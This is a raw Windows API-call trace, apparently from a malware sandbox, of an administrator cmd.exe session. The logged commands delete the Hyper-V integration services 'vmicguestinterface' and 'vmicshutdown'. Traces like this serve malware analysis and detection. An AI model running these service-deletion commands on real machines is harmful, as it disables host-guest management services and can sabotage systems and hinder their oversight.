0x7fffffd0409 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9db0 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5c50 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0067.437] GetProcessHeap () returned 0x4a0000 [0067.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0067.438] GetProcessHeap () returned 0x4a0000 [0067.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0067.438] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0067.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.438] GetFileType (hFile=0x120) returned 0x3 [0067.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.438] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0067.438] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.438] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.438] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.438] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0067.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.438] GetFileType (hFile=0x120) returned 0x3 [0067.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.438] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0067.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.439] GetFileType (hFile=0xb8) returned 0x3 [0067.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicguestinterface\n") returned 1 [0067.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicguestinterface\n") returned 1 [0067.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicguestinterface\n") returned 1 [0067.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmicguestinterface\n") returned 1 [0067.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmicguestinterface\n") returned 1 [0067.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicguestinterface\n") returned 1 [0067.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicguestinterface\n") returned 1 [0067.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmicguestinterface\n") returned 1 [0067.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmicguestinterface\n") returned 1 [0067.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmicguestinterface\n") returned 1 [0067.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="vmicguestinterface\n") returned 1 [0067.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="micguestinterface\n") returned 1 [0067.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="icguestinterface\n") returned 1 [0067.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="cguestinterface\n") returned 1 [0067.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="suestinterface\n") returned 1 [0067.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="hestinterface\n") returned 1 [0067.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="ustinterface\n") returned 1 [0067.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="ttinterface\n") returned 1 [0067.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="dinterface\n") returned 1 [0067.442] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.442] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.442] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="onterface\n") returned 1 [0067.443] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.443] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.443] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="wterface\n") returned 1 [0067.443] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.443] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.443] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="nerface\n") returned 1 [0067.443] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.443] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.443] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="\nrface\n") returned 1 [0067.444] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.444] GetFileType (hFile=0xb8) returned 0x3 [0067.444] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.444] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.444] GetFileType (hFile=0x120) returned 0x3 [0067.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicshutdown\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicshutdown\n", lpUsedDefaultChar=0x0) returned 24 [0067.444] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x17, lpOverlapped=0x0) returned 1 [0067.444] GetProcessHeap () returned 0x4a0000 [0067.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4bfb10 [0067.444] GetProcessHeap () returned 0x4a0000 [0067.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0067.444] GetProcessHeap () returned 0x4a0000 [0067.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0067.444] GetProcessHeap () returned 0x4a0000 [0067.444] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0067.445] GetProcessHeap () returned 0x4a0000 [0067.445] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3a) returned 0x4baa40 [0067.445] GetConsoleOutputCP () returned 0x1b5 [0067.445] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0067.445] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.445] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4baa90 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0067.446] SetErrorMode (uMode=0x0) returned 0x1 [0067.446] SetErrorMode (uMode=0x1) returned 0x0 [0067.446] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0067.446] SetErrorMode (uMode=0x1) returned 0x1 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0067.446] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.446] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b9db0 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0067.446] GetProcessHeap () returned 0x4a0000 [0067.446] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0067.447] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.447] GetProcessHeap () returned 0x4a0000 [0067.447] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0067.447] GetProcessHeap () returned 0x4a0000 [0067.447] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0067.447] GetProcessHeap () returned 0x4a0000 [0067.447] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0067.447] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.447] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.447] GetLastError () returned 0x2 [0067.447] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.447] GetLastError () returned 0x2 [0067.447] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.447] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0067.448] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0067.448] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.448] GetLastError () returned 0x2 [0067.448] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", 